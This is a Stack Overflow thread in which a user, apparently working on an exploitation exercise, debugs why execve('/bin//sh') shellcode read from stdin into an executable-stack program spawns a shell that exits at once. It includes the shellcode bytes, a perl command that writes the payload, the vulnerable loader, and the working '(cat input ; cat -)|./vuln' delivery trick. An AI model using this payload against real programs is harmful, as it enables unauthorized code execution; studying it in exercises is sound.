0

I will preface by saying that i did the research but couldn't found the answer to my basic problem.

I want to launch a shell from a shellcode through a basic program. This is the shellcode used, that should be working by now:

 0:    31 c0                    xor    eax, eax
 2:    50                       push   eax
 3:    68 2f 2f 73 68           push   0x68732f2f
 8:    68 2f 62 69 6e           push   0x6e69622f
 d:    89 e3                    mov    ebx, esp
 f:    50                       push   eax
10:    53                       push   ebx
11:    89 e1                    mov    ecx, esp
13:    b0 0b                    mov    al, 0xb
15:    31 d2                    xor    edx, edx
17:    cd 80                    int    0x80

The weird thing is this shellcode is working when used like so:

char *shellcode = "\x31[...]x80";  
int main(void)  
{  
    (*(void(*)()) shellcode)();  
    return 0;  
}

But not when read from stdin with this program (compiled with the following flags:

gcc vuln.c -o vuln -fno-stack-protector -m32 -z execstack):

Code:

#include [...]
typedef void (*func)(void);
int main(void)
{
    char input[4096];
    read(0, input, 4096);
    ((func)&input)();
    return 0;
}

What happen with the second program is that the program simply quits with no error code and no shell spawned.

Strace shows me that in the second program, a shell is properly launched:

read(0, "1\300Ph//shh/bin\211\343PS\211\341\260\v1\322\315\200", 4096) = 26
execve("/bin//sh", ["/bin//sh"], NULL)  = 0
strace: [ Process PID=3139 runs in 64 bit mode. ]

But this line near the end is highly suspicious since I'm not asked to do anything:

read(0, "", 8192)                       = 0

It seems that I'm sending a null byte somehow to the spawned shell and it kills it. I first though that I'm not properly setting up my shellcode file, but those are the commands I use:

perl -e 'print "\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\x31\xd2\xcd\x80"' > payload.bin
./vuln < payload.bin

I also tried using this command but got the same result:

perl -e 'print "[...]" | ./vuln

I also checked the chars inside the file, but the file weights 25 oct. for a shellcode of the same size so this shouldn't be the problem.

Am i using the proper way to give a shellcode from stdin or is there another way ? If no, where does the problem come from?

Thanks

Barmar
  • 741,623
  • 53
  • 500
  • 612
mat
  • 3
  • 2

1 Answers1

0

The problem is that in the second program, you've redirected standard input to the pipe. The shell that's spawned tries to read from the pipe, gets EOF, so it exits.

You can redirect standard input back to the terminal before running the shellcode.

#include [...]
typedef void (*func)(void);
int main(void)
{
    char input[4096];
    read(0, input, 4096);
    freopen("/dev/tty", "r", stdin);
    ((func)&input)();
    return 0;
}
Barmar
  • 741,623
  • 53
  • 500
  • 612
  • I forgot to include the flags used when compiling the second code, which are the same than the one from the article you linked. Also, the second program seems to launch a shell before shutting it down because of the null char read from stdin so execution prevention shouldn't be the problem if I'm not wrong (also disabled ASLR). – mat Oct 18 '17 at 21:15
  • I've changed my answer. – Barmar Oct 18 '17 at 21:26
  • Thanks for the answer ! But i do have a problem: the program i'm trying to spawn a shell from is an exercise and can"t be changed :p So i tried to use something esle than redirecting stdin by doing this: cat payload | ./vuln. However, this doesn't work in my case, i also don't know how to debug it with gdb/strace to see what's going on. I tried the solution given i this thread https://stackoverflow.com/q/1456253/8797854 but i still get the same problems. Any idea ? – mat Oct 19 '17 at 09:09
  • `cat payload | ./vul` is redirecting stdin, it redirects it to the pipe. – Barmar Oct 19 '17 at 17:30
  • See https://stackoverflow.com/questions/38513777/how-to-pass-redirection-to-program-while-debugging-with-gdb?noredirect=1&lq=1 – Barmar Oct 19 '17 at 17:32
  • Thank you for taking time for answering :) Unfortunately i wasn't able to have much success with your method, but I just want to share the solution that worked if it could be useful to someone one day :) (cat input ; cat -)|./vuln – mat Oct 23 '17 at 19:11